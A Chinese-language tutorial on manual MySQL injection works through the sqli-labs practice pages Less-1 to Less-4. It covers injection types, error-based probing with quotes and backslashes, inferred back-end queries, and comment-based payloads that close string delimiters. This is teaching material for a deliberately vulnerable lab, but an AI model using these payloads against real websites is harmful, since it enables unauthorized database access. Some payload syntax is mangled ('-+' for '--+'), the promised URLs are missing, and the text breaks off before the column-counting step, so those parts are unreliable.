mysql⼿动注⼊的命令_⼿动SQL注⼊基础详解
Sql Injection漏洞⼀直是在owasp排名第⼀的漏洞类型,有时候注⼊漏洞很难通过⼯具检测到.本⽂将详细介绍⼀下Sql Injection的各种类型,通过利⽤测试的环境,让⼤家对Sql Injection漏洞有⽐较多的了解.
什么是sql injection漏洞?
所谓SQL注⼊,就是通过把SQL命令插⼊到Web表单递交或输⼊域名或页⾯请求的查询字符串,最终达到欺骗数据库服务器执⾏恶意的SQL命令,从⽽达到和服务器进⾏直接的交互.有可能存在SQL注⼊的数据库类型可以是Mysql,Mssql,Oracle,Postgress等等。
Sql Injection的类型
Sql注⼊根据数据提取通道的类型,从服务器接收到的响应等可以分为不同的类型.
打开mysql服务命令基于从服务器接收到的响应
基于错误的SQL注⼊
联合查询的类型。
双击查询注射。
SQL盲注
基于布尔SQL盲注。
基于时间的SQL盲注。
基于错误的SQL注⼊主要是SQL Server转储⼀些错误给⽤户,通过应⽤程序的这个错误来进⾏利⽤的注⼊类型.下图中黄⾊部分显⽰的是错误。后⾯将详细的进⾏介绍。
盲注漏洞是指在注射语句之后⽆法在前端看到后端数据库服务器的反应等,因此”盲”说明了⼀个事实,只能通过⼀些计算的假设进⾏尝试注⼊.
基于如何处理输⼊的SQL查询(数据类型)
基于字符串
数字或整数为基础的
根据后端SQL查询如何处理输⼊的参数的不同,可以将SQL注⼊分为字符串注⼊或整数为基础的注⼊。
基于程度和顺序的注⼊(哪⾥发⽣了影响)
⼀阶注射
⼆阶注射
⼀阶注射是指输⼊的注射语句对WEB直接产⽣了影响,出现了结果;⼆阶注⼊类似存储型XSS,是指输⼊提交的语句,⽆法直接对WEB应⽤程序产⽣影响,通过其它的辅助间接的对WEB产⽣危害,这样的就被称为是⼆阶注⼊.
基于注⼊点的位置上的
通过⽤户输⼊的表单域的注射。
通过cookie注射。
通过服务器变量注射。 (基于头部信息的注射)
为什么会发⽣SQL注⼊?
⼀般来说,⼀个应⽤程序与后端数据库会在底层数据库驱动的帮助下,以查询的形式进⾏交互。 该驱动程序是依赖于正在使⽤的应⽤平台和后端数据库的类型,如MYSQL,MSSQL,DB2,ORACLE。
⼀个通⽤的登录查询会⼤概是这样:
`SELECT Column1, Column2,Column3 FROM table_name WHERE username=’$variable1′ AND
password=’$variable2′;`
我们可以把这个查询分为两部分,代码段和数据段。 数据部分为$variable1 和 $variable2和⽤来定义字符串的边界的引号。
来演⽰⼀个实例,假设 在登录表单输⼊的正确⽤户名是admin,密码为p@ssw0rd,在后端数据库查询语句就会是如下:
`SELECT Column1, Column2,Column3 FROM table_name WHERE username=’admin′ AND password=’p@ssword′;`
因为是正确的帐号和密码,这样就可以成功的登录,如果⽤户恶意输⼊⼀些特殊意义的字符串,有可能会引发DB驱动程序的报错,⽐如在输⼊⽤户名为
admin’,SQL查询语句将会变为:
`SELECT Column1, Column2,Column3 FROM table_name WHERE username=’admin’′ AND password=’p@ssword′;`
为什么会这样呢?因为⽤户的恶意输⼊打破了web应⽤程序的逻辑.
总结:当⼀个攻击者能够逃避数据的边界,他可以附加数据,产⽣可解释的SQL查询,在后端数据库执⾏之后,从⽽造成注⼊。
基于错误的SQL注⼊
在⼀般情况下,所有的编程语⾔为开发⼈员为了灵活的调试和修复他们的应⽤程序,通过使⽤⼀些内置的错误处理函数/库,来提供了友好的错误消息,以便可以简化故障排除时间等。
通过输⼊特殊意义的字符串,根据错误信息的提⽰,来获取⼀些有⽤信息以及敏感数据的过程被列为基于错误的SQL注⼊。
基于错误的注射,可分为两种主要类型:
联合查询类型
双击查询类型
接下来详细讨论SQL注⼊的过程.
这⾥我们搭建好了测试⽤的环境,测试的主要逻辑⽅法有⼀下⼏点:
枚举应⽤程序的⾏为
⽤伪造数据模糊测试导致应⽤程序产⽣报错
通过猜测在后端使⽤的SQL查询,尽量控制注⼊点。
从后端数据库中提取数据
理论已经⾜够了,下⾯开始⾏动
枚举:
测试页⾯less1-less4基本上是相同的,当我们打开less1页⾯,要求我们输⼊⼀个ID值作为get参数.
ID为数值,我们看到了⼀个特定的⽤户名和密码出现在屏幕上,ID的值是1到8之间。 对于任何其他的数值,屏幕上不会有结果显⽰.
id=15 => 页⾯上没有结果显⽰
id=14=>页⾯上没有结果显⽰
ID=1 => Login name= Dumb, Password=Dumb
ID=2 => Login name= Angelina, Password=I-kill-you
ID=3 => Login name= Dummy, Password=p@ssw0rd
ID=4 => Login name= secure, Password=crappy
ID=5 => Login name= stupid, Password=stupidity
ID=6 => Login name= superman, Password=genious
ID=7 => Login name= batman, Password=mob!le
ID=8 => Login name= admin, Password=admin
ID=15 =>页⾯上没有结果显⽰
ID=20 =>页⾯上没有结果显⽰
ID=100 =>页⾯上没有结果显⽰
结果枚举:数据库表中似乎有8条记录,任何不存在的ID值,它返回⼀个空集。
模糊测试:
⼀般来说,应⽤程序开发⼈员假定⽤户将输⼊整数值。 尝试⽤模糊测试所有的应⽤程序输⼊点。 那么究竟什么是模糊? 这是⼀个过程,输⼊⼀些特殊意义的参数等,并尝试到应⽤程序报错的差异反应。差异的报错表明可能存在漏洞。
以下是⼀些任意的输⼊:
\
;
%00
)
(
aaa
整数或字符串测试:由于输⼊参数似乎是整数值,让我们尝试输⼊ID参数的字符串值,并观察其⾏为。
整数和字符串测试的结果:我们看到,Less1、Less3、Less4返回的页⾯是空的,没有任何结果和报
错,⽽Less2返回不同的,有⼀个MySQL错误消息。 从⾮常基本的编程技术,我们知道⼀个字符串参数始终包裹在单引号或双引号中,⽽整数不是这样。 因此,我们可以假设,Less1、Less3和Less4使⽤某种形式的引号包裹⽤户输⼊。他们认为输⼊的字符串值在数据库中不存在的,因此返回空值。Less2产⽣了⼀个错误提⽰,这意味着⽤户输⼊没有被引号包裹,因此整数型的输⼊在查询中正常⼯作,但是输⼊字符串值确产⽣了报错。 综上,我们可以推断出, less1、less3、less4是基于字符串的注⼊,⽽less2是⼀个整数型的注⼊。
继续模糊化:现在,让我们进⼀步采取模糊的字符.
⽤单引号来进⾏测试
less1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1’ at line 1
less2
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1’ at line 1
less3
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”) LIMIT 0,1’ at line 1
所有这三个都产⽣错误提⽰,只有less4没有错误提⽰,反正正常的查询结果.
⽤双引号进⾏测试
⽤双引号测试发现只有less4会产⽣错误提⽰,less1、less2、less3都返回正常的结果。
通过上⾯的测试,less1、less2、less3是单引号注⼊,⽽less4是双引号注⼊.
综合所有的测试,less1、less3、less4是基于字符串的注⼊,⽽less2是基于数字的注⼊。
⽤\进⾏测试
“\”转义符在mysql中是为了打印具有特殊意义的字符串。测试结果如下:
less1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1\’ LIMIT 0,1′ at line 1
less2
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘\ LIMIT 0,1’ at line 1
less3
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1\’) LIMIT 0,1′ at line 1
less4
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘”1\”) LIMIT 0,1’ at line 1
less1的报错,当我们输⼊1\的时候,报错信息中1\附近可以看到⼀个单引号,说明输⼊字符串是被单引号所包裹的。
less2的报错信息,当我们输⼊1\的时候,报错信息中没有返回引号,说明less2是⼀个整数类型的注⼊,不需要⽤引号来突破查询获取结果。
less3报错信息,当我们输⼊1\的时候,报错信息中1\后⾯出现了’),说明应⽤程序中的变量是在括号中的,如(‘var’).
less4的报错信息,当我们输⼊1\的时候,报错信息中1\后⾯出现了”),说明应⽤程序中的变量var是这样的,如(“var”).
这四种情况在后端查询中使⽤的语句实际分别为:
Less-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,1
Less-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,1
Less-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1
Less-4: SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1
对于⼀个成功的注⼊,应该关闭查询语句中围绕在变量周围的分隔符,从⽽使我们逃避字符串/整数的编辑,并且成功执⾏sql语句.有两种⽅法,⼀种是注释掉其余的查询语句,另外⼀种是增加额外的分隔符,多余的分隔符使查询语句在语法上是正确的,如:
Less-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,1
当我们输⼊的参数$ID的值为1‘,查询语句就会变成如下:
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ ‘ LIMIT 0,1
现在这个查询语句是不正确的,我们需要解决多余的’号,这个’号是原始查询的⼀部分,可以⽤以下⽅法:
⽅法⼀:
可以使⽤sql注释来修复语法问题,mysql使⽤三种类型的注释:-+、#、/**/ 。因此我们可以使⽤1′-+或者1’#
查询语句将变为如下:
SELECT * FROM TABLE_NAME WHERE ID=’ 1′–+ ‘ LIMIT 0,1
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ #‘ LIMIT 0,1
注射的完整URL如下:
在less2中,因为没有额外的引号,所以只需要注释掉后⾯的语句就可以了,查询语句和完整的sql注射URL如下:
SELECT * FROM TABLE_NAME WHERE ID= 1–+ LIMIT 0,1
SELECT * FROM TABLE_NAME WHERE ID= 1#LIMIT 0,1
在less3中,我们推断后端sql语句如下:
SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1
所以我们需要想办法先关闭掉分隔符,然后再注释掉后⾯的语句
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) –+ ‘) LIMIT 0,1
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) #‘) LIMIT 0,1
注射: 1′) –+      1′) #
完整的注射URL:
在less4中,我们推⼴后端sql语句如下:
SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1
同样,需要关闭掉分隔符,然后注释掉后⾯的语句
SELECT * FROM TABLE_NAME WHERE ID=(” 1″) –+ “) LIMIT 0,1
SELECT * FROM TABLE_NAME WHERE ID=(” 1″) #“) LIMIT 0,1
注射: 1″) –+      1″) #
通过查询了解表中的字段数

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。